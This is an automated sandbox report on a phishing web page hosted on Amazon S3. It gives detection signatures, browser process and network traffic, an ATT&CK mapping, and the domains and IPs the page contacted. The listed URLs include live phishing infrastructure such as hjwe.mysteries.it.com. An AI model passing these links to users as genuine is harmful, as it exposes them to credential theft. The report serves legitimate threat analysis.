Edit tour

Windows Analysis Report
https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html

Overview

General Information

Sample URL:	https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html
Analysis ID:	1647241
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2428,i,16133377803731253458,2710566446733142152,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2484 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/967006753:1742826353:dd6lycDHrMiFpFhUld71f2KLHu4ARw8T4yTNB_qejcI/92573c80ae338186/PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3638sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4cf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenx-amz-request-id: 7EA6TTNCGPG191HNx-amz-id-2: 7gPlkEq3FboA1KbRv5Q2V19oaVWTTBf2c5R+Do8S6+kkLptrM2Fw0/vz7Kr/VQpDAYGXNEuNK2naYR/5m9ci8grYQyS7KIvJContent-Type: application/xmlTransfer-Encoding: chunkedDate: Mon, 24 Mar 2025 15:34:53 GMTServer: AmazonS3Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 53Access-Control-Allow-Origin: Access-Control-Expose-Headers: Timing-Allow-Origin: *Cache-Control: public, max-age=600, s-maxage=600Cross-Origin-Resource-Policy: cross-originX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadContent-Type: text/plain; charset=utf-8ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4"Accept-Ranges: bytesAge: 17Date: Mon, 24 Mar 2025 15:35:03 GMTX-Served-By: cache-fra-etou8220171-FRA, cache-lga21954-LGAX-Cache: HIT, MISSVary: Accept-Encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 15:35:06 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CrZDlLHUBGdiuvW2MJFAjjkeW4pbCTMhblGsPpqwLUrr16asu4lELLCHuFGKJtGqUFrE76hfLyR0VFMzwsqamp1JiK9%2BXq%2Bgzz2T31oRvPgpSLnRI5pk4vxNkwMW5uLMHTKtdz6jVnU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92573c86bd177290-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=106687&min_rtt=105134&rtt_var=23786&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1229&delivery_rate=35421&cwnd=224&unsent_bytes=0&cid=0dfcf9276d14d5dd&ts=3433&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 53Access-Control-Allow-Origin: Access-Control-Expose-Headers: Timing-Allow-Origin: *Cache-Control: public, max-age=600, s-maxage=600Cross-Origin-Resource-Policy: cross-originX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadContent-Type: text/plain; charset=utf-8ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4"Accept-Ranges: bytesDate: Mon, 24 Mar 2025 15:35:20 GMTAge: 33X-Served-By: cache-fra-etou8220171-FRA, cache-lga21968-LGAX-Cache: HIT, HITVary: Accept-Encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Source: chromecache_82.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_89.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_78.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_89.2.dr, chromecache_78.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_89.2.dr, chromecache_78.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_84.2.dr	String found in binary or memory: https://hjwe.mysteries.it.com/xT1tH/
Source: chromecache_84.2.dr	String found in binary or memory: https://s3.eu-central-1.amazonaws.com/mailo.images.prod/5dc9ee2eff3f849325a56821f5133a4fba849398.jpg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.134.26:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.134.26:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.219.169.97:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.22:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.22:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.229:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.128.240.50:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.230.198:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.230.198:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3664_1904537168

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3664_1904537168

Jump to behavior

Source: classification engine

Classification label: mal60.phis.win@24/40@36/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2428,i,16133377803731253458,2710566446733142152,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2484 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2428,i,16133377803731253458,2710566446733142152,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2484 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://hjwe.mysteries.it.com/favicon.ico	0%	Avira URL Cloud	safe
https://5025422507.sbs/google.php	0%	Avira URL Cloud	safe
https://5025422507-1317754460.cos.ap-tokyo.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://s3.eu-central-1.amazonaws.com/mailo.images.prod/5dc9ee2eff3f849325a56821f5133a4fba849398.jpg	0%	Avira URL Cloud	safe
https://s3.eu-central-1.amazonaws.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.129.229	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.9	true	false	high
5025422507.sbs	69.49.230.198	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
cos.ap-tokyo.myqcloud.com	43.128.240.50	true	false	high
code.jquery.com	151.101.2.137	true	false	high
hjwe.mysteries.it.com	104.21.90.22	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.251.40.164	true	false	high
s3.eu-central-1.amazonaws.com	3.5.134.26	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
5025422507-1317754460.cos.ap-tokyo.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://hjwe.mysteries.it.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://5025422507.sbs/google.php	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/967006753:1742826353:dd6lycDHrMiFpFhUld71f2KLHu4ARw8T4yTNB_qejcI/92573c80ae338186/PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/92573c80ae338186/1742830506526/a3a8cf7e77dab40bb8b270528df508d4e86ff85b215f2072653ec4a784b35c2a/0mqzCLjAHy67umf	false		high
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/92573c80ae338186/1742830506525/dzRD1KMUsKZPMax	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://s3.eu-central-1.amazonaws.com/mailo.images.prod/5dc9ee2eff3f849325a56821f5133a4fba849398.jpg	false	Avira URL Cloud: safe	unknown
https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html	true		unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://5025422507-1317754460.cos.ap-tokyo.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92573c80ae338186&lang=auto	false		high
https://a.nel.cloudflare.com/report/v4?s=CrZDlLHUBGdiuvW2MJFAjjkeW4pbCTMhblGsPpqwLUrr16asu4lELLCHuFGKJtGqUFrE76hfLyR0VFMzwsqamp1JiK9%2BXq%2Bgzz2T31oRvPgpSLnRI5pk4vxNkwMW5uLMHTKtdz6jVnU%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/	false		high
https://s3.eu-central-1.amazonaws.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://hjwe.mysteries.it.com/xT1tH/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://getbootstrap.com/)	chromecache_78.2.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_89.2.dr, chromecache_78.2.dr	false	high
https://getbootstrap.com)	chromecache_89.2.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_89.2.dr, chromecache_78.2.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_82.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.129.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
69.49.230.198	5025422507.sbs	United States	46606	UNIFIEDLAYER-AS-1US	false
52.219.169.97	unknown	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
23.209.72.31	unknown	United States	20940	AKAMAI-ASN1EU	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
23.209.72.9	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
43.128.240.50	cos.ap-tokyo.myqcloud.com	Japan	4249	LILLY-ASUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
3.5.134.26	s3.eu-central-1.amazonaws.com	United States	16509	AMAZON-02US	false
104.21.90.22	hjwe.mysteries.it.com	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1647241
Start date and time:	2025-03-24 16:33:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@24/40@36/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.65.238, 142.251.32.99, 142.250.65.174, 172.253.63.84, 142.250.80.78, 142.251.40.142, 23.203.176.221, 199.232.210.172, 142.250.176.206, 142.251.40.206, 142.250.80.106, 142.250.176.202, 142.251.35.170, 142.251.40.138, 142.251.40.234, 142.251.40.170, 142.250.72.106, 142.250.65.202, 142.250.64.74, 142.251.32.106, 142.250.65.170, 142.251.40.106, 142.250.81.234, 142.251.40.202, 142.251.41.10, 142.250.65.234, 172.217.165.138, 142.250.65.206, 142.251.41.14, 142.250.65.195, 142.251.35.163, 184.31.69.3, 52.149.20.212, 13.107.246.40
